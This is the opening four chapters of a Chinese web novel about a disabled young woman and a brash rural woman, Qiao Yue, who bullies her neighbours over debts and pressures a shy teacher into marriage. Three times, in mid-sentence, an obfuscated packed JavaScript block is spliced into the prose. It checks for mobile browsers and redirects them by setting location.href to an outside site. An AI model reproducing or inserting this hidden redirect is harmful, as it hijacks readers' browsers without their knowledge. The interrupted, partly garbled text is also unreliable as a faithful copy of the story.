《恶嫂》 1. 第1章 “王女士,您这边请。实在实在不好意思,有事耽搁了两分钟,给您带杯咖啡,实在抱歉!” 不怎么年轻的hr匆匆赶到一楼的会客厅,脑门上都是汗,把手里的咖啡递给对面的年轻女孩。 女孩桌前已经有一杯倒好的花茶了,其实她一点没觉得被怠慢,一进到公司就有前台接待,细声细语地给她倒茶水,又拿水果又拿点心的,在现实生活中,很少有人会对她如此礼貌。 “没事没事没事,不用不用,不久,我刚坐下。” 王雪莹有些拘谨地站起来,连连摆手,她很不适应别人的好意。 “哎呀你快拿着吧,之后咱们就是同事了,走,去我办公室,我跟你详细介绍下咱们公司情况,我姓赵,你跟着别人叫我赵姐就行。” 这是乔老板特意交代过的人,按说安排一个小小的客服远用不上这大阵仗,还特意把有事的她叫回来,所以可见这人很重要。 但老板又说正常接待就行。 “好,好。” 王雪莹声音很小,就比蚊子大点,她站起来,跟着赵经理往楼上走,赵经理特意把脚步放慢,步伐迈得很小,两个人恰好并排走着,这女孩身体情况特殊,她知道。 王雪莹有小儿麻痹,小时候做过手术,但也留下了后遗症,两条腿长短不一,有一只脚轻微外翻,平时穿着宽松裤子,站着坐着看不出来,但走起路就能看出来了,一摆一摆的,跟个鸭子似的,从小到大她没少受歧视,不过还是长大好点,长大了遇到的是隐性的,小时候都是赤裸裸的,甚至还有肢体上的,所以就造成她的性格,比较怪异,阴暗。 这是幢比较陈旧的大楼了,占地面积算不上大,但也有四层,一楼挑得挺高,一进门就是个月牙儿的大logo,这个服装公司的名字,之前叫moon月牙服饰,以前不论什么品牌都流行加个英文,中不中洋不洋的,后来就拆了,直接叫月牙服饰。这是个不算大众的服饰品牌,定价也比较平民,衣服款式呢,也说不上多好看时尚,但最大特点就是穿着舒服,十分舒服,尤其是居家服十分畅销,所以这些年来就积攒了不少客户。 公司总部大楼能屹立在市中心十几年没倒闭,也能看出来。 不过这些年也受冲击,实体店关了一些,但网店销售一直不错。 “我们公司人员流动一直不大,很多干了十几二十年的老员工,还有不少二进宫的,对于离职又回来的员工,我们也是十分欢迎……乔总是个很有良心的好老板。不过,毕竟是小企业嘛,工资方面没有多亮眼,但该有的都有,工作强度我也可以跟你打包票,绝对准时下班,下班之后绝对没人找你说工作方面的事情……” 赵经理滔滔不绝讲着,边走边给王雪莹简单讲解各个部门业务,她面部好像有点小问题,有只眼睛一直频繁快速地眨着,带动半边脸都有点儿奇怪。路过很多人都跟她打招呼,她也友善地回应,有人跟她打听今年五一什么礼物,她打个哈哈糊弄过去,说不能提前泄露。 这让王雪莹拘谨的情绪稍稍放松,甚至有种说不清的亲切感。 “怎么样?你有什么想问的吗?可以尽情问我。” 赵经理又往王雪莹身边靠了靠,小声跟她说。 “你想好了今天就能签合同,从明天算入职,下周就是五一休假,把你平常穿的尺码报给我,这个季度业务不错,过节礼品是咱们公司销量最高的那套居家服,还有件防晒衣,五百块的商超卡。你现在住酒店吗?可以直接搬员工宿舍去,床单被子什么都有,去后勤领一份新员工入职大礼包就行,我帮你搬,宿舍是二人舍,不过现在有几间空的,你自己住就跟单人宿舍一样。” 其实乔老板只是简单打声招呼,并没有说要多特殊对待,是因为赵经理本身人就好,尤其是看到王雪莹本人。一看这小姑娘一路走来就吃了很多苦。 “我……好……谢谢……我。” 王雪莹有一只手开始不合时宜地抖,她另一只手用力抓住按下去。 她实在是,不擅长处理别人的善意,这让她惶恐、不安,甚至她宁愿是轻视甚至恶意。 “哎呀你是不是果茶咖啡因不耐受,快把咖啡给我吧,怪我没提前问你,走我带你去办公室,喝杯白开水缓缓。” 赵经理不动声色地从王雪莹手里把那杯咖啡接过来,因为剧烈颤抖,有咖啡液溅出来,她轻轻拍了拍王雪莹的后背。 想了想又补充道。 “公司其实也没我说的那么好啦,我毕竟干这个的嘛,得王婆卖瓜,你瞧工资就能瞧出来,在服装行业就是普通偏上一点的水平,很多年轻人来这积累经验又跳槽的,不过我们也支持这种做法,人往高处走嘛。” 赵经理绞尽脑汁想了想,其实公司除了薪资方面一般,再真没什么毛病了。不然也不会有那么多老员工了,但这是一入职就讲清楚的,她也不会给新员工画大饼,公司销售额是很透明的,内网实时更新,谁看了心里都有谱。 “我……稍等我平复下心情。” 王雪莹背过去面对墙站着,开始在心里飞快地数数,耳朵能清晰地听到心脏巨大的跳动声音,她已经很久、很久没跟人说过这么多话了,甚至也可以说她已经很久、很久没出过门了,要不是前几天梦到了姥姥…… “没事儿,到了新城市都紧张,我刚来时候也这样,我带你去乔总办公室,你们是老乡吗。” 赵经理又把声音放轻了一些,她觉得可能自己给人压力了。 “对了你可以抽空把入职体检做了,这个公司报销的。” 赵经理知道她身体情况,客服坐办公室,腿部残疾没影响,可以正常打字就行。但看她状况,似乎其他方面也有不小问题,这个要跟乔老板打声招呼,问问是不是需要提前签署什么文件规避一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502330|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下风险。 “乔老板办公室就是走廊最那边那间,她很忙,经常不在办公室,有事儿你直接找我更方便。” 赵经理领着王雪莹向乔月的办公室走去,这时候路过一间房间,门是关着的,但似乎有一种隐隐约约的香烛味道萦绕在鼻尖。这边除了乔月办公室就是新品样板间,平时过来的人不多。忽然耳边又隐隐约约传来一些声音,似乎,像是寺庙那种念经的声音。 就是从那间屋子传来的。 赵经理有点尴尬,她摸了摸鼻子。 “那个……这纯粹是乔总个人爱好,她信教,但我发誓跟公司企业文化一点关系没有,更不会渗透,除了跟乔总关系比较近的人都不知道这事儿的……乔总有个爱人十多年前去世了……她受了些刺激……人生在世总要有个盼头的嘛,个人选择,个人选择……” 赵经理还在絮絮叨叨说着,身边的女孩忽然停住了脚步,然后转过身就大迈步地向后跑。她腿脚本来就不好,这样大动作就更显得滑稽了。 “哎,雪莹,你别走,哎……” 速度快的赵经理这个四肢健全的人竟然都追不上,赵经理今年快五十了,拄着膝盖喘粗气,白担心了,这丫头比看起来健康不少,这么能跑。 王雪莹一直跑一直跑,一直走一直走,直到把大楼落在身后,直到把一切都落在身后。她握住胸前那只小老虎,是一块红玛瑙雕刻成的小老虎,边角料,不值钱。很多年前姥姥特意跑景区买了送给她的,别的小孩都有,她也想要。 她姥姥姓王,有个很俗的名字,叫彩霞。不过别人一般都叫她瘸子她姥姥。 在人生的很长一段时间里她都不喜欢她姥姥,王彩霞经营着一家小杂货店,抠门,吝啬,连个塑料袋都要跟顾客斤斤计较。还是个神婆子,经常晚上跪在小屋里神神叨叨地祭拜着不知什么东西,很多人拎着砍掉头、带血的大公鸡来找她。 但就是这样的不受人待见的姥姥,一点一点攒够了给她做手术的钱,甚至还攒了供她读大学的钱。 而她呢,她又做了什么…… 王雪莹紧紧捂着胸口,痛苦地蹲下身,都怪她,要不是她就没有那场车祸,没有那场车祸,也不会…… 都怪她,她这个灾星,她这个罪人,她怎么不去死,为什么死的不是她…… 她难受地蜷缩在墙角,手里紧紧握着的那只小老虎项链。 力气大到似乎把那小老虎挂坠摁到了血肉里,又变成一股清流,涌到了她的胸口,化作一张大手,极尽温柔的,极尽温柔的,安抚着她的痛苦。 她太痛苦了,姥姥去世这十多年,她每分每秒都处在巨大的痛苦中。 如果时间能倒流就好了…… 如果时间能倒流就好了…… 如果时间能倒流就好了…… 王雪莹开始眩晕,于是全世界都在她的眼前转圈。 2. 第2章 “怎么着?你还不服?以前让你种到我们家门前那是张宇怂包蛋一个,种久了真当这是你们家地盘啦,别说你,就是你家男人回来了我也不怕,瞧他那小矮个,蹦起来都够不着我脑门儿,一巴掌扇到山那头去了,你还不服?我告诉你,你再敢晚上偷摸种我家门口来一回,我跳墙进去把你家鸡鸭全掐死了!人不是玩意儿,养的牲口也不是玩意儿,你家那死鸡再敢来叨我的花,我把那脖子全掐断了……不信你就试试?看看谁能耐,你出去打听打听我乔月大名……” 之后的话越来越不中听,带着爹妈的骂,屋里的李嫂子气得一口气要上不来,旁边婶子赶紧抓住她手,可不能出去,不是别的,她们也打不过那个乔月呀,之前不是没动过手,谁不是被她挠一胳膊疤,那女人疯起来不要命又不要脸的。 最近这段日子瓶盖街可算是热闹了,还不是那个老光棍张老师找了个这样的婆娘,天天找这个打找那个骂的,整个瓶盖街都要跟她结上仇了。 以前张老师人多好,谁家困难啦,借个几百块钱周转从来不说还。周末怕小孩瞎跑闯祸啦,直接送张老师家让辅导就行。就连张老师的院子,那都是愿意让出来让大家伙种的,如果忙没时间照料,让张老师帮忙除除草捉捉虫,人家张老师从来不说什么,但等这个该死的乔月来了,什么都变了! 光要账她就要了得有半个月,在没认识张宇之前,乔月可不知道这世界上真有这样的好心人呐。自己穿带布丁的袜子,大窟窿小眼子的内裤,用了十多年的破水杯,但几百几百地往出借!那些钱听着都不多,这么多年攒起来可是一笔大钱了!甚至每个月到他发工资那天,专门有人蹲在他门口排队借! 乔月越要账越生气,越要账越生气,骂人骂得她嘴角都起白沫子了,她长这么大,从来没见过张宇这样窝囊的蠢货!真想把他脑袋壳敲开,看看里面都是些什么玩意儿! 乔月一边骂人一边嗑着瓜子,掐着腰踮着脚,想到哪句骂哪句,然后“呸”地吐出来一个瓜子皮。等骂完了,手里那一把瓜子也嗑完了,给人家大门口留一地瓜子皮,自己嘴角还粘一片,满不在乎的抹了一把,吐口唾沫换下一家。 当然人家也不是大傻子,就尤着乔月这样骑到脑袋上骂,一是因为确实理亏,细数这瓶盖街,几乎就没一户人家没占过张宇的便宜。再者,乔月认识一帮台球厅的混子,开始是叫着那些人来要账,头发染的五颜六色,脖子上挂的叮叮当当,跟□□似的,吓死人。他们可都是老老实实的小市民,也就敢占点老实人的小便宜。 “哎呦,真累。” 乔月伸了个懒腰,从围裙里拿出来一把毛票,一张张数。 张宇虽然人蠢,但好歹还知道记账,乔月自认为也是个大善人,要账时候虽然按心情算利息,但也不多要,遇着真困难的,也不是一点不能通融,但是得重新跟她签欠条。 这回刚开春,北方干燥,空气透明度高,天是瓦蓝瓦蓝的,像是调到了最高饱和度,再蓝一点就要溢出来了。阳光直照到人身上,乔月不自觉地眯着眼睛,她眼睫毛特别特别长,阳光一照在下眼皮上留了两搓阴影,脸颊上有些小雀斑,不过好在肤色偏深,不靠近看就看不大清。脸是小的,下巴是尖的,鼻子眼睛也能说是标志,但长了一张大嘴,其实也没多大,就是唇肉比较饱满,但因为她总是骂人,口出恶言,嘴巴不饶人,所以很多人背地里叫她乔大嘴巴,不过也只敢背地里笑。 当时还珠三刚上映没几年,周遭审美大多是偏夏紫薇那一款,要肤白貌美,要浓眉大眼,那是当之无愧的大美女。乔月皮肤不白,眼睛也不大,但从没人说过她不好看,和丑更是一点边儿不沾,别人跟她骂起来时候,气急了也只会说她嘴巴毒折寿死得早,白瞎一张好脸。 她是那种乍一看好像挺好看,仔细看,相处久了看,越看越好看的那种,就连那鲜红的厚嘴唇,多看几眼都觉得美。 再加上她个子也高,本来就有一米七了,还爱穿那种坡根的高跟鞋,大腿粗胳膊紧实,走起路来生龙活虎的,像是一口气能拉十亩地的牛,肺活量也高,叉着腰骂一下午都不累的。 不过乔月其实挺喜欢夏紫薇的,屋里还贴着林心如的海报,她最喜欢还珠第一部,播出时候还一时冲动跟别人拜过把子,就是找一堆有用没用的东西做见证,今天我和谁谁谁结成姐妹了,有好吃的一起吃……和亲姐妹一模一样…… 乔月喜欢有文化的人,她能跟张宇结婚一方面就是看中了他有文化,是个老师。那时候她刚到县城还不到一年,媒人介绍的人里头一眼就相中了张宇,他戴个眼镜,看起来挺呆板,但一瞧就是学富五六七八车的。 反正乔月后来是这么跟张宇说的。 媒人当时就摇头,说这男人比较怪,不找结婚对象,是她拿来凑数的,显得她手头上资源丰富。 乔月才不信那一套,她要是存心对一个人好,没有人拒绝得了她。 现实也是那样,她没用两个星期就把张宇拿下了,刚认识几个月,俩人就扯了证。 不过这在外人看来也没啥,因为张宇也不算好条件,没钱,三十五了,还带一个大拖油瓶,他有个正在读高中的弟弟,之后上了大学,那不得他供着吗,跟自己孩子有什么区别。再加上他性格实在是窝囊,跟死面馒头一样,好像这辈子腰杆子就没挺直过。 这些在乔月看来都不是什么大问题,家里俩人,一人主内一人主外,那她就主外呗,本来她脾气就火暴,不过这也不怪她,就她那生活环境,不火爆点不让人欺负死啊。 她们这是个少数民族自治县,地域大,辽阔,底下很多村镇,地势也不平坦,山啊沟啊壑啊的就多,路不好修,也没有支柱产业,地方就穷。她家就在一个山沟沟里,这都什么时代了,还是只有一条窄窄的土路,到县城要坐三个小时的车,三四天才有一趟。 虽然说是少数民族自治县,不过有大部分都是后改的,当年为了能建立自治县,让很大一部分人口改了民族成分,来满足人口比例要求。不过乔月是土生土长的本地人口,一瞧也能瞧出来,肤色偏深,头发特别多,五官相对其他人来说比较重,是比较浓艳的那种漂亮。 她们村里除了小年轻出去打工了,别的一般都在家里头种地,忙活一年,手里也落不下什么,乔月家里地少,光种地连她妈药钱都买不起,所以她有别的生计,她靠养羊,养了一群羊,这年头羊也不好养,上头忽然倡导要什么退耕还林,封山禁牧。明明前几年还支持养羊,有补贴,还给办贷款,乔月趁着那时机买了十多头呢。后来新政策下来忽然就不行了,要求必须卖掉,不卖的话就圈养,圈养还不能乱割草,划的地界也没什么好植被,谁要是偷偷放羊,抓住就罚款,罚一大笔。 乔月看过新闻,新闻上说了是为了治理生态恶化,但她们这儿又不是内蒙又不刮沙尘暴,生态好得不得了,方圆几十公里全是大山,有点能耐的全离开了。再说了她养羊,村里的小孩都能喝上便宜的羊奶,比外面卖的牛奶便宜多了,春天抓羊绒,还能雇几个人,促进农民收入了,多好。 但就是这样,什么政策到了基层都容易一刀切。 乔月也没办法,只能把羊都卖了,价开得挺低的,看着那车羊被拉走,咩咩咩地叫着,乔月心里挺难受的。虽然她不是大善人,养羊也宰了卖羊肉,瞎跑也拿鞭子抽它们,但她心里还是舍不得,就这一群羊啊,养活了她,养活了她妈。 人总得过日子呀,乔月寻思瞧瞧别的活路,她没法出去打工,她妈有毛病,脑子不好使,身边离不开人,平时她不在就拿锁链锁着,她在就给解开。乔英慧不犯病时候挺乖的,就老实坐着躺着,或者摆弄自己手指头,但犯起病来不得了了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502331|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔月以前个头儿没这么高,力气没这么大,摁不住她,现在左胳膊上还有一块疤,是她拿菜刀砍的。 乔英慧犯病的时间太长了,就导致乔月印象里母亲的形象越来越远了,她怕自己忘了,就拿笔记到本子上,小时候妈妈抓着她手写字,教她背诗,一去二三里,烟村四五家,亭台六七座,八九十枝花。 乔月寻思要不学着隔壁村盖大棚,那种什么呢,种什么也不好往外运啊,种西瓜全颠烂了,种黄瓜西红柿辣椒,谁家不会自己种呀。 她还没想清楚呢,乔英慧死了,乔英慧死了。 乔月曾经好多次在心底期盼乔英慧哪天死了就好了,但等那一天真的到来了,她反而有点措手不及。 不过都是年纪小时候了,那时候她力气小,抓不住乔英慧,后来她能摁住乔英慧,就不那样想了。 前一天她刚给乔英慧剪了指甲,还喂了点金银花泡的水,第二天乔英慧就没睁开眼睛。 不过这也是好事,对谁来说都是好事,乔月还以为自己得一辈子被拴在这儿呢,办好乔英慧的身后事,乔月就麻利来县城找活儿了。 人家打工都是去大城市,但她们这个地儿,离哪儿都远,乔月虽然三十岁了,但一次远门都没出过,最远的就是有一回领乔英慧去市里看病,病没看出怎么着,坐车还让人给骗了,不过那会儿乔月年纪也小。但是遇到个好医生,医生让她回县城拿药就行,在市里不好走报销,还给了她电话号码。 所以乔月就打算着先在县里混两年,看看外面的世界是怎么运转的,一点点地再去大地方闯,主要是她觉着自己手里拿着一笔卖羊的“巨款”,一天到晚总觉得有人打她这笔钱的主意。 但真正到了县里了,发现这笔钱啥都干不了。 开始她想跟着车站那个卖牛肉板面的烫头大婶儿学做牛肉板面,连着去吃了俩星期,真好吃,她穷人乍富,好几回都没忍住加了牛肉,结果吃得上火,嘴角起泡,也没学着。人家当然不会教给她啊,小县城就这么大,电动车绕一圈没准儿一格电都掉不下去,她旁边开个店,那她还卖啥。 不过牛肉板面真好吃,乔月以前觉得羊肉是最好吃的。 乔月又想跟人学剪头发,以后开个小理发店,她现在这个大波浪头发还是当学徒时候老板给烫的呢,好大的弯,可漂亮,就是不好打理。每天都得抓卷,喷那个水,呛得她直打喷嚏。 但她还没学到啥,没洗几个头呢,遇上个咸猪手,捏她胯,她这脾气,说什么要给顾客剪,顾客一看美人主动,什么都忘了,还以为自己有魅力。乔月手那么一抖,电推子把人耳垂子刮下去一块肉,血哗哗往下流,当场就被辞退了。 但白得了个时髦发型,也不赖,嘿嘿。 乔月还去饭店端了几天盘子,小旅馆干了几天前台,溜冰场当了几天看场小妹……总之什么都干,什么都干不长,倒不是她不能吃苦,是她觉得干什么好像都差点儿事儿。 直到她在地下商场卖了半年衣服,老板是个特别时髦的小姑娘,年纪比乔月还要小呢,中专毕业就包了个档口,线下雇人看着,同时自己还搞什么网店。据说赚不少,她要去大城市了,干更大的生意,走时候问乔月想不想干,能低价转让给她,衣服加起来倒是不贵,但跟地下商场签的合同很贵啊,一年的租金一付,她的存款就要清零了! 不过乔月还是心动了,她干了半年,自然知道这里客流量什么样,这里是县城最大的地下商场,吃的喝的游戏厅,楼上还有网吧溜冰场。每到周末,不少初中生高中生,县城外围还有个职校,年轻人都爱来玩,每到周末她都忙得没时间吃饭,好好打理着,俩月房租钱就赚回来了。 但乔月不敢贸然动这笔钱,这可是她的所有,她的全部了! 于是她就寻思着找个结婚对象,支持一下她的事业。 3. 第3章 为着这个她特意请县城里据说很厉害的媒婆吃了顿饭,好贵的牛肉锅,平时她都舍不得吃呢。 然后就跟几个土老板吃了饭,乔月不想回忆,不相亲她都不知道这世界上还有那么多奇形怪状的人,肚子圆的像皮球,个子矮得像侏儒,眼睛小的像米粒儿,牙齿黄的像糊了一层陈年猪油,熏得人眼睛疼。 乔月发现自己这个人还挺视金钱为粪土的呢。 后来有个还不错的,长得挺正派,戴个眼镜,乔月喜欢戴眼镜的,有文化。人也有钱,正给她画饼呢,说结了婚以后包一层商场给她卖衣服。 结果手一伸上来,乔月发誓她这辈子就没见过这么短的手指头。 像是让人用擀面杖碾过,五根胡萝卜攒一块儿了,当么揣裤兜使劲都摸不到底。 真应该去刨土豆子。 后来小手哥还约过乔月几次,乔月心想要不自己就固定住脑袋,不往下看,不看着不就好了吗。 结果送她回家时候,小手哥忽然给她撩了下头发。 啊啊啊啊啊。 短短的,像五颗小蚕豆一样的手指头差点就挨到她脸上了! 乔月觉得这是种残疾。 她倒不是歧视残疾人,她还给过背着音响唱歌儿的小矮人钢镚呢,但她不能忍受,半夜腰上忽然搭过来五颗蚕豆。 那会儿乔月已经跟媒婆混熟了,挑挑拣拣她手里的那些资源。 乔月最大的特点就是特看得上自己,天王老子来了她也配得上,其实有点儿盲目了。 她跟谁相亲都脸不红心不跳,有回还跟个留学回来的洋学生相过亲呢。她长这么大身边还从没有过这么有文化的人,读书都读到外面去了,脑子里得装多少知识呀,她这边正幻想她俩的以后呢,那男生站起来委婉地表达了两个人不合适。 但回去却跟媒婆说她特没素质,不尊重人,乔月没觉得自己哪点不尊重人啊。她听说过一句话,好像是什么橘子生南边是橘子,生北边就不是橘子了,就是说环境能改变人,那外国人都人高马大的,又很多毛,像返祖的大猩猩,她就问那留学生去了外国长没长毛,有没有二次发育。 因为媒婆失去了一个优质客户,就跟乔月绝交了,友谊没了,就再不给她分享或者说炫耀自己的客户池子了。 不过没几天就和好了,乔月又请人吃了几回牛肉锅,可真贵! 慢慢她才感觉到原来不是谁都能喜欢上她啊,那之后她就务实了很多。 后来就遇上张宇了,开始时候是她缠的张宇,后来觉得张宇这个人真如媒婆说的,太无聊太干巴,像嚼了半个小时的甘蔗,就打算放弃了。不过张宇又反过来约她,她爱捉弄他,躲在墙角故意吓唬他,他红着脸结结巴巴开始背诗。 乔月说过她喜欢有文化的人,之前张宇请她吃牛肉锅,吃完就让乔月看他做题目,他是教数学的,纸上密密麻麻好多数字,又画线连线,又很多英文字母的,乔月都要看睡着了。 所以他忽然开始背诗了,乔月觉得挺有意思的,她听不懂,让张宇写出来。 静女其姝,俟我于城隅。爱而不见,搔首踟蹰。 真有意思,四句话乔月有五个字儿都不认识。 乔月觉得她俩好像真不怎么来电,本来都想那会儿就说清楚了,遇上下雨。张宇也是不正常,约她去县城护城河边上看柳树,万条垂下绿丝绦嘛,乔月这点文化还是有的,她也挺喜欢柳树的,小时候经常用柳条编筐拿出去卖。 结果遇上大雨,那地方前不着村后不着店,俩人谁也没拿伞。路过一个去摘野菜的大娘还告诉她俩,前两天上游水库放水,隔壁县淹死俩小孩,尸体都冲到她们这儿来了,就这条河。 乔月着急死了,小时候有人告诉过她,淹死的人投不了胎,会变成水鬼,找着了替死鬼才能投胎,电闪雷鸣的雨点子越来越大,跟往下砸的一样,她想跑,但张宇还在那好像很文雅地慢腾腾地走,一点也不着急一样。 “你傻子蛋吗?快跑啊!” 两个人跑到公交站,前一趟公交车刚慢悠悠开走,这是县城外环了,公交车本来就少,半个多小时才一趟,乔月气得鼻子都要冒烟了。 她现在、立刻、马上就要跟这个蠢货张宇一拍两散再不见面! 结果张宇摘下眼镜了。 张宇把眼镜摘下了。 张宇长得算不上多好看,但肯定不丑,个子有一米七五,比乔月高一点,人有点瘦,但也不是特别弱不禁风,反正一点赘肉没有。皮肤特别特别白,脸瘦长,鼻子是鼻子眼睛是眼睛的,嘴唇薄薄的,唇色很淡,乔月有时候觉得他挺好看的,秀气,像聊斋里头的书生,就是可能平时太窝囊,那什么不好,气质不好。 张宇眼镜有一千多度,还有挺严重的散光,眼镜就是他第二个眼睛,紧密的雨滴落到他眼镜上,眼前一片白花,他摘下来在衬衫上胡乱擦着。 他这件衬衫还是大学时候买的,都穿了十多年了。 “张宇?” 乔月憋一肚子气,但现在外面下着雨,又不能转身就走,就恶作剧地把他手里的眼镜夺走了。 “啊?” 张宇茫然地抬头,他眼镜度数高,加上这雨来得急,乌云挡住了太阳,天阴沉沉一片,视觉就更不好了,眼前的一切都像是加了好几层朦胧特效,晕乎乎的。再加上打雷,雨声又大,耳朵好像也不好使了,他觉得很没安全感,就有些着急,去摸乔月手里的眼镜。 “哎,在这儿呢。” 乔月伸出了另一只手,张宇那眼镜是透明框的,透明框的最便宜,他松口气,探出手去拿,结果什么都没摸着。 乔月张开手掌,结结实实抓住了张宇的手指头。 张宇人白,手指头也细长,手掌纹路可清晰,不像乔月的很乱,都说掌心乱是操心的命,乔月长这么大确实没少操心。乔月以前没有观察人手的习惯,但自从跟那个小手哥相过亲就有了这个后遗症,她忍不住垂下眼睛仔细观察。 这手可真好看啊,一看就没种过地,没放过羊,跟乔月的一比细软细软的,就是因为总是拿粉笔,有两个手指肚有点蜕皮,显得很干,吐口唾沫就好了。 乔月这样想着也这样做了。 “乔月你干什么!你干什么乔月!你这人简直太没有素质!太过分!太恶劣!——” 张宇气的话都说不清楚了,手指头慌忙在衬衫上蹭,用力地蹭。气得倒退一大步,雨从公交站棚子后面绍过来,把他的薄衬衫打湿了,向前吹,紧紧贴到了腰上。 那天其实还很冷,张宇只有那一件算得上还不错的,体面的衬衫,所以即使很冷,他也穿了那件衬衫。 他什么都看不清,只朦朦胧胧见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502332|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔月好像在笑,是嘲笑吧,他本来就是一个很无趣的,很干燥的,很愚蠢的人,谁看不起他都是应该的。 但张宇忽然觉得委屈,他极少,极少会产生这种情绪。 “把我的眼镜还给我!” 张宇深吸一口气,对着乔月喊。 乔月还没听过他这么大声音说话呢,觉得很稀奇。 张宇真的很生气,眼眶都红了,一滴雨水顺着他漆黑浓密的头发落下来,落到他脸上,沿着眉骨往下,眼尾,就跟眼泪一样。 因为看不清,神情就迷茫,像个茫然的幼童一样,无措地望着乔月。 他喘着气,微微张着嘴唇,露出一点十分洁白的牙齿,和红彤彤的舌尖。 他鼻子嘴巴长得中规中矩,但眼睛可真好看,眼白特别清,瞳仁很大,是一种很透的棕色,再加上他皮肤好,白净得不得了,就像个刚成精的小动物,纯净极了。 “你着什么急啊,在这呢,自己过来拿呗。” 乔月的声音有点吊儿郎当。 她发现张宇的睫毛也很好看,虽然不密不翘吧,但是很长,微微下塌地垂着,感觉流眼泪很快就能被浸湿,黏成一缕一缕的。 张宇伸着手向前抓,乔月顺势往前凑了一大步,张宇的手就抓到乔月胸前了。 柔软,十分柔软。 乔月是个身材十分丰满的女人,穿平常衣服会显得很健硕,因为胸大,背就比较厚,如果夏天穿露肤度高的衣服还好一些。 张宇定住了,他的脚不听使唤了,张着嘴,茫然地看着乔月。 “哎哟,看不出你还是个流氓呢张老师。” 乔月又往前凑了一步,于是张宇先前只是触摸到的东西,结结实实到他掌心了。 乔月眼睛上上下下扫了好几个来回,张宇浑身算是让雨水浇透了,看起来,虽然瘦吧,但应该不会一屁股坐下去断两根肋骨吧。 “乔月!我们正式解除恋爱关系!我不会再和你这种人有什么瓜葛!” 张宇收回手,不住的,不住地在自己衬衫上擦拭,来回地擦拭,不停地擦拭。 他真哭了,眼泪大滴大滴地从眼睛落下来,棕色的瞳孔水润润的。 皮肤白的人一哭浑身哪哪儿都红,眼睛红脸红鼻子尖儿红,脖子都红的。 手指头手背也擦得通红。 世界上还有这样的人呐,乔月村里的人都得风吹日晒的干农活,她自己养羊就更是了,她长这么大从没见过皮肤这么白这么嫩的!可真有意思啊。 眼睛上上下下地扫,嘴巴也没消停。 “真好笑,谁跟你谈恋爱了啊,我们这是相亲,还没相中。” 乔月觉得自己看见张宇这副模样浑身都难受得不得了。 她往前一步就紧紧搂住张宇。 张宇刚碰到一下就躲闪不及的东西现在结结实实贴到他胸膛上了。 他想伸手推开,但乔月搂得太紧,他根本动弹不了。 乔月向前抬了下大腿,蹭了蹭。 觉得还挺满意的。 “相完亲就要结婚的,我们结婚吧,我可喜欢你了。” 就从今天开始喜欢的,乔月在心底加了一句。 她现在觉得张宇一点也不无聊了,简直是一座待开发的宝藏,她无比、无比、无比期待着她们之后的每一个夜晚。 4. 第4章 “妈,你没在张老师家门口那块地种菜了吧?” 李书明今天课间跑操低血糖犯了,胳膊肘搓好大一片,虽然骨头好像没事,但隐隐地疼,下午坚持上两节课就跟老师请假了。明天正好是周日,她们高中是县重点高中,她又是重点高中的重点班,其实很不愿意回来,怕落下课程,但胳膊肿了也写不了字,看别人低头写题目她就打心眼里着急,就回来了。 她本来就不高,背着很大一个书包,像要把她压趴下一样。 她妈见她那样赶紧骑自行车去菜市场买了两斤猪肉,又买了份凉拌菜,还加了几片笋,李书明爱吃笋,北方笋片可贵了。 她男人在工地干苦力,哪有活儿跑哪儿,最近在海南呢,跟着包工头子去的,还打电话说哪天有空给俩孩子捡点贝壳。她照顾俩小孩读书,有空就零散找点活儿,最近找到的活计是举着牌子别着喇叭绕着县城那几条主街宣传即将开业的手机店。 她们家可买不起手机。 李书明要是不回来她晚饭都是随便糊弄一口,小的最近晚上都要排练节目,在学校吃。她就热水泡米饭,配上点咸菜。 倒也不是多苛待自己,就是觉得就自己一人,再炒个菜,不至于,麻烦,反正肚子能饱了就行。 李书明回来了就不能将就了,她读高中,正是长身体的时候,看她瘦的。 “没……你管那干吗……好好读你的书……” 她正低着头挑菜呢,耳朵竖着听新闻联播,海南好像又要开什么什么国际会议。就是把肉挑出来扒拉李书明那边,遇上肥的就自己咬嘴里吃了,把瘦的那半再放盘子里,她嘴里有饭,说话有点含糊不清。 “咱家院子里这么大地方,还不够你种吗妈?你为啥非得种张老师家里?” 李书明有点用力地把饭碗搁下,她正是好面子的年纪,脸涨得通红,她听她大姨说隔壁女人又骂她妈了,一想就知道怎么回事,就那一小条地,她妈怎么说都不听! “以前都能种咋她来了就不能种了?张老师家院子最大,他又不用。” 李书明她妈说话也是理直气又壮的。 “那是以前,现在人家结婚了啊,有人种了,张老师是好人,要不是他初三那年给我辅导,我也考不上尖子班。” “那咱们还请他吃好几顿饭呢。” “你那几顿饭能管啥?你知道现在外面补习班多贵吗?张老师一分钱都没收!” “那他不也没收别人的吗。” 